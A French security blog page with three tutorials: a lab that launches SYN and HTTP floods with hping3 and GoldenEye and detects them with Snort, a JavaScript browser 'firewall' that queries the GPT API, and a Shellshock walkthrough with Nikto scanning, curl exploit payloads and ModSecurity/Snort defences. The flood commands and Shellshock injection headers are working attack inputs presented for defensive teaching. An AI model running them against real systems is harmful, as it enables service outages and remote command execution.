Axel Legay

Mener une Attaque DDoS avec Kali Linux et la Détecter avec Snort

Avertissement : ce tutoriel est destiné à un usage éthique et pédagogique dans un environnement de test. Toute utilisation non autorisée est interdite.

1. Objectif

Simuler une attaque DDoS depuis Kali Linux et observer sa détection en temps réel par Snort. Cette approche est parfaite pour un exercice red/blue team.

2. Préparation de l'environnement

  • Attaquant : Kali Linux
  • Cible : Ubuntu Server avec Apache
  • Snort IDS : sur une machine intermédiaire (interface en mode promiscuous)

3. Simulation d'une attaque DDoS

3.1 SYN Flood avec hping3

Le SYN flood sature les connexions TCP en enchaînant des paquets SYN sans finaliser le handshake.

sudo hping3 -c 50000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.20

3.2 HTTP Flood avec GoldenEye

GoldenEye provoque un déluge de requêtes HTTP (POST/GET).

git clone https://github.com/jseidl/GoldenEye.git
cd GoldenEye
python3 goldeneye.py http://192.168.1.20 -w 100 -s 500 -m post

4. Installation de Snort

Installe Snort sur une machine Debian/Ubuntu :

sudo apt update
sudo apt install snort

5. Configuration des règles Snort

5.1 Règle pour SYN Flood

Détecte 20 SYN dans la même seconde depuis une même IP.

alert tcp any any -> $HOME_NET 80 (msg:"SYN Flood Detected"; flags:S; threshold:type threshold, track by_src, count 20, seconds 1; sid:1000001; rev:1;)

5.2 Règle pour HTTP Flood

Détecte 50 requêtes POST en 2 secondes.

alert tcp any any -> $HOME_NET 80 (msg:"HTTP Flood Detected"; content:"POST"; threshold:type threshold, track by_src, count 50, seconds 2; sid:1000002; rev:1;)

6. Lancer Snort

Exécute Snort sur l'interface réseau :

sudo snort -A console -i eth1 -c /etc/snort/snort.conf -K ascii

7. Exemple d'alerte

Voici une alerte typique pour un SYN Flood :

[**] [1:1000001:1] SYN Flood Detected [**]
[Classification: Attempted Denial of Service] [Priority: 2]
07/01-15:33:02.437116 192.168.1.100:1056 -> 192.168.1.20:80
TCP TTL:64 TOS:0x0 ID:456 SEQ:101 ACK:0 WIN:1024

8. Mitigation

Tu peux bloquer l'adresse IP source avec :

iptables -A INPUT -s 192.168.1.100 -j DROP

9. Analyse avec Wireshark

Capture le trafic avec tcpdump :

sudo tcpdump -i eth1 port 80 -w ddos_traffic.pcap

Analyse ensuite le fichier dans Wireshark pour vérifier le flood et repérer les patterns répétitifs.

Conclusion

Ce laboratoire démontre comment allier offensive et défensive dans une démarche résiliente : simuler un DDoS, détecter, lire les alertes, et mettre en place des contre-mesures. Une base solide pour tout analyste SOC ou formateur sécurité.

by Axel Legay

blank

Construire un mini pare-feu IA pour le navigateur avec JavaScript et l'API de GPT

Introduction : Pourquoi un pare-feu côté navigateur ?

Dans un monde où les interactions numériques se font majoritairement via des navigateurs web, la sécurité à ce niveau est cruciale. Or, la plupart des dispositifs de protection (pare-feu, antivirus, anti-spam) sont centrés sur le réseau ou le système. Ce que nous proposons ici est un concept simple mais prometteur : un pare-feu comportemental côté navigateur, à l’aide d’une API d’IA.

Notre projet est développé en JavaScript, le langage natif du navigateur. Plutôt que de réinventer la roue avec un moteur d’analyse complexe, nous tirons parti de la puissance d’un modèle d’intelligence artificielle existant (GPT-3.5). Cela permet de simplifier considérablement le développement tout en profitant des capacités avancées d’analyse contextuelle qu’offrent les IA modernes. Là où autrefois il aurait fallu écrire, maintenir et mettre à jour manuellement une série de règles (régulièrement périmées face à l'évolution des attaques), nous confions cette tâche à un moteur déjà entraîné sur des milliards d’exemples.

Objectif du projet

Construire un prototype de "mini pare-feu" IA embarqué dans le navigateur, capable de :

  • Intercepter les champs de formulaire
  • Détecter un contenu potentiellement suspect (tentatives de phishing, injections malveillantes, mots-clés dangereux)
  • Réagir immédiatement (alerte visuelle, blocage, etc.)

Nous utiliserons JavaScript pur et une API GPT (par exemple, OpenAI GPT-3.5) pour l’analyse contextuelle du contenu.

Rappel : qu’est-ce qu’un pare-feu ?

Un pare-feu ("firewall") est un outil qui filtre les communications entrantes et sortantes d’un système informatique. Il agit comme un "vigile" qui bloque ou autorise certaines données selon des règles. Ici, notre pare-feu est adapté au contexte : il ne filtre pas le réseau, mais l’interaction utilisateur-application.

Traditionnellement, un pare-feu repose sur une liste de règles fixes qu’il faut mettre à jour en fonction des nouvelles menaces. L’un des avantages de notre solution basée sur une IA existante est qu’elle remplace ces règles rigides par une interprétation intelligente, adaptable et évolutive.

Prototype simple en JavaScript + API GPT : découpage et explication pédagogique

1. Sélection et écoute des champs de saisie


document.querySelectorAll('input, textarea').forEach(el => {
  el.addEventListener('blur', async () => {
    const flag = await analyseAvecIA(el.value);
    if (flag) {
      el.style.border = '2px solid red';
      alert("⚠️ Contenu potentiellement dangereux détecté.");
    }
  });
});

Explication :
- On sélectionne tous les éléments de type input et textarea.
- Lorsqu’un utilisateur quitte un champ (blur), on déclenche une analyse.
- Si le contenu est jugé dangereux par l’IA, on colore le champ en rouge et on affiche une alerte.

2. Fonction d’analyse avec GPT


async function analyseAvecIA(texte) {
  const response = await fetch("https://api.openai.com/v1/chat/completions", {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      "Authorization": "Bearer VOTRE_CLE_API"
    },
    body: JSON.stringify({
      model: "gpt-3.5-turbo",
      messages: [
        { role: "system", content: "Ta tâche est de déterminer si un contenu est une tentative de phishing ou contient une injection malveillante." },
        { role: "user", content: texte }
      ]
    })
  });
  const data = await response.json();
  return data.choices[0].message.content.toLowerCase().includes("oui");
}

Explication :
- On appelle l’API GPT d’OpenAI en lui envoyant deux messages :
• Un prompt système qui définit le rôle de l’IA : détecter le phishing ou l’injection.
• Le contenu réel saisi par l’utilisateur.
- On interprète la réponse : si elle contient oui, on considère que le contenu est suspect.

Remarques de sécurité :
- Il faut remplacer VOTRE_CLE_API par votre vraie clé OpenAI.
- Ne jamais exposer une clé sensible en production côté client (voir plus loin les limitations).

Limitations du prototype

  • Temps de réponse dû à l'appel API (latence perceptible)
  • Risque de faux positifs ou négatifs selon la formulation du prompt
  • Le code étant exécuté côté client, il peut être désactivé ou contourné
  • Exposer une clé API en clair dans le navigateur est dangereux (solution : proxy sécurisé ou back-end intermédiaire)

Pistes d'amélioration

  • Utiliser un modèle IA local exécuté dans le navigateur (WebLLM, Mistral via WebGPU, etc.)
  • Créer une extension navigateur pour une meilleure intégration
  • Ajouter un historique local ou un apprentissage progressif des comportements fréquents

Conclusion

Ce projet montre qu’avec un peu de JavaScript et une API d’IA, il est possible d’implanter une couche supplémentaire de réflexion et d’analyse dans le navigateur lui-même. Ce n’est pas une solution de sécurité totale, mais une preuve de concept qui ouvre la voie à une sécurité plus fine, contextuelle et proactive. Idéal pour l’expérimentation, la pédagogie, ou comme base pour un projet plus ambitieux. Et surtout, il illustre à quel point les IA modernes permettent aujourd’hui de créer en quelques lignes ce qui aurait autrefois nécessité des centaines de règles manuelles, mises à jour et surveillées en permanence.

by Axel Legay

blank

Analyse de faille avec Nikto : exploitation et protection contre Shellshock via CGI

Introduction : pourquoi analyser les failles ?

Dans le monde de la cybersécurité, l’analyse de faille est un processus indispensable. Elle permet d’identifier et corriger les vulnérabilités avant qu’elles ne soient exploitées. Un attaquant n’a besoin que d’un seul point faible : à nous de le détecter avant lui.

Dans cet article, nous allons nous intéresser à une faille emblématique : Shellshock (CVE-2014-6271), qui a touché Bash en 2014. Nous verrons comment utiliser Nikto, un scanner de vulnérabilités web, pour la détecter, comment l’exploiter manuellement, et surtout comment s’en prémunir. Pour cela, il est essentiel de comprendre le rôle joué par CGI (Common Gateway Interface) dans l’exploitation.

🧠 CGI : le chaînon faible de Shellshock

Qu’est-ce que CGI ?

CGI (Common Gateway Interface) est une spécification permettant à un serveur web d’exécuter des programmes externes – appelés scripts CGI – pour générer dynamiquement des réponses HTTP. Ces scripts peuvent être écrits en Bash, Perl, Python, etc., et sont souvent utilisés dans des environnements anciens ou embarqués.

Fonctionnement général

Lorsqu’un utilisateur accède à un script CGI via le web :

  1. Le serveur (ex. Apache) exécute le script comme processus système.

  2. Il lui transmet les en-têtes HTTP sous forme de variables d’environnement (ex : User-Agent, Host, etc.).

  3. Le corps de la requête est envoyé via stdin.

  4. Le résultat du script est retourné au client comme une réponse HTTP.

C’est précisément le passage des variables d’environnement qui rend Shellshock si dangereuse dans ce contexte.

📜 Exemple de script CGI Bash vulnérable

bash
#!/bin/bash
echo "Content-type: text/plain"
echo
echo "Hello, world!"

Décryptage du script :

  • #!/bin/bash : indique que le script sera interprété par Bash.

  • echo "Content-type: text/plain" : définit le type MIME de la réponse HTTP.

  • echo : une ligne vide obligatoire après les en-têtes HTTP.

  • echo "Hello, world!" : le corps de la réponse, affiché dans le navigateur.

Ce script peut être appelé par un navigateur à l’adresse :
http://vulnerable-site.com/cgi-bin/test.sh

🐚 Shellshock (CVE-2014-6271) : la faille

La vulnérabilité Shellshock réside dans le fait que Bash exécute du codecontenu dans les définitions de fonctions transmises via des variables d’environnement. C’est un comportement inattendu et dangereux.

Une requête HTTP malicieuse :

http
GET /cgi-bin/test.sh HTTP/1.1
Host: vulnerable-site.com
User-Agent: () { :; }; echo; /bin/bash -c 'echo shellshock exploited'

entraînera l’exécution de la commande "echo shellshock exploited" sur le serveur, sans vérification ni contrôle.

🔎 Détection avec Nikto

Nikto est un scanner open source de vulnérabilités web. Il teste des milliers de failles connues sur des serveurs HTTP. L’une de ses forces est sa capacité à détecter automatiquement des scripts CGI vulnérables à Shellshock.

bash
nikto -h http://vulnerable-site.com/cgi-bin/ -Tuning x

Explication des options principales :

  • -h : hôte ou URL cible

  • -Tuning x : active tous les types de tests (CGI, injection, XSS…)

  • -output fichier.txt : exporte les résultats

  • -evasion : tente de contourner des filtres ou WAF simples

  • -Display V : n’affiche que les vulnérabilités confirmées

🧪 Exploitation manuelle de Shellshock

Un simple test curl peut suffire à démontrer une faille :

bash
curl -H 'User-Agent: () { :; }; echo Content-Type: text/plain; echo; echo HACKED' http://vulnerable-site.com/cgi-bin/test.sh

⚙️ Fonctionnement des variables CGI

Les scripts CGI récupèrent les données HTTP via des variables d’environnement, par exemple :

  • REQUEST_METHOD (GET, POST…)

  • HTTP_USER_AGENT, HTTP_COOKIE, etc.

  • REMOTE_ADDR, SERVER_NAME…

Shellshock tire parti de ce mécanisme pour injecter des fonctions Bash contenant du code dans des en-têtes comme User-Agent.

🔐 Contre-mesures : comment se protéger

✅ 1. Mettre à jour Bash

La mise à jour de Bash corrige le comportement fondamental à l’origine de Shellshock : les versions vulnérables traitaient automatiquement certaines définitions de fonction comme du code à exécuter.

Une version corrigée ignore ou désactive totalement ce comportement.

bash
# Debian/Ubuntu
sudo apt update && sudo apt install --only-upgrade bash# CentOS/RHEL
sudo yum update bash

⚠️ Sans cette mise à jour, aucune autre mesure ne suffit : même avec un WAF ou une surveillance, la faille peut toujours être exploitée.

✅ 2. Désactiver les CGI inutiles

Définition : un script CGI est "inutile" dès lors qu’il ne sert plus à une fonctionnalité en production. Cela inclut :

  • Des scripts de test (test.sh, env.cgi)

  • Des scripts hérités de vieilles applications

  • Des démonstrations installées par défaut (souvent oubliées)

Ces scripts peuvent rester accessibles sans être visibles, et sont très fréquemment ciblés automatiquement par les attaquants.

bash
sudo a2dismod cgi
sudo systemctl restart apache2

✅ 3. Filtrage HTTP avec un WAF (Web Application Firewall)

Un WAF agit comme une barrière entre l’utilisateur et le serveur. Il inspecte chaque requête HTTP à la recherche de motifs suspects. Dans le cas de Shellshock, cela signifie bloquer les en-têtes qui contiennent des définitions de fonction suspectes dans des champs comme User-Agent.

Exemple de règle ModSecurity :

apache
SecRule REQUEST_HEADERS:User-Agent "^\(\)\s*{.*;.*}" \
"id:1000001,phase:1,t:lowercase,deny,status:403,msg:'Shellshock attack detected'"

  • Cette règle détecte les chaînes qui ressemblent à une déclaration de fonction Bash suivie d’une commande.

  • Elle agit avant que le script CGI ne soit exécuté, ce qui est crucial en environnement vulnérable.

💡 Bien que les WAF ne soient pas infaillibles, ils sont efficaces contre des attaques automatiques ou basiques.

✅ 4. Surveillance active avec IDS

Un IDS (Intrusion Detection System) complète la défense en détectant les tentatives suspectes et en générant des alertes.

Exemples d’IDS compatibles :

  • OSSEC : centralisé, léger, facile à intégrer à des logs Apache.

  • Snort : puissant, très utilisé, signatures personnalisables.

  • Suricata : similaire à Snort mais multithreadé.

Exemple de règle Snort (simplifiée) :

css
alert tcp any any -> any 80 (msg:"Shellshock attempt"; content:"() { :; };"; sid:1000002; rev:1;)

Grâce à ces outils, même si une faille est présente, vous saurez en temps réelqu’une attaque a été tentée, et pourrez réagir (blocage d’IP, audit, etc.).

🔧 Déploiement local d’un script CGI pour test

bash
sudo apt install apache2
sudo a2enmod cgi
sudo mkdir -p /usr/lib/cgi-bin

Fichier /usr/lib/cgi-bin/test.sh :

bash
#!/bin/bash
echo "Content-type: text/plain"
echo
echo "Hello from CGI!"
bash
chmod +x /usr/lib/cgi-bin/test.sh
sudo systemctl restart apache2

Accès :
http://localhost/cgi-bin/test.sh

Conclusion

Shellshock n’est pas une faille anecdotique. Elle a montré comment un simple en-tête HTTP peut suffire à prendre le contrôle d’un serveur mal configuré. Les scripts CGI, souvent oubliés ou laissés en place par habitude, sont des portes ouvertes.

Ce qu’il faut retenir :

  • Nikto permet de détecter ces failles rapidement.

  • La mise à jour de Bash est obligatoire : elle corrige le comportement vulnérable.

  • Les CGI non utilisés doivent être désactivés.

by Axel Legay

Privacy Preference Center

Privacy Preferences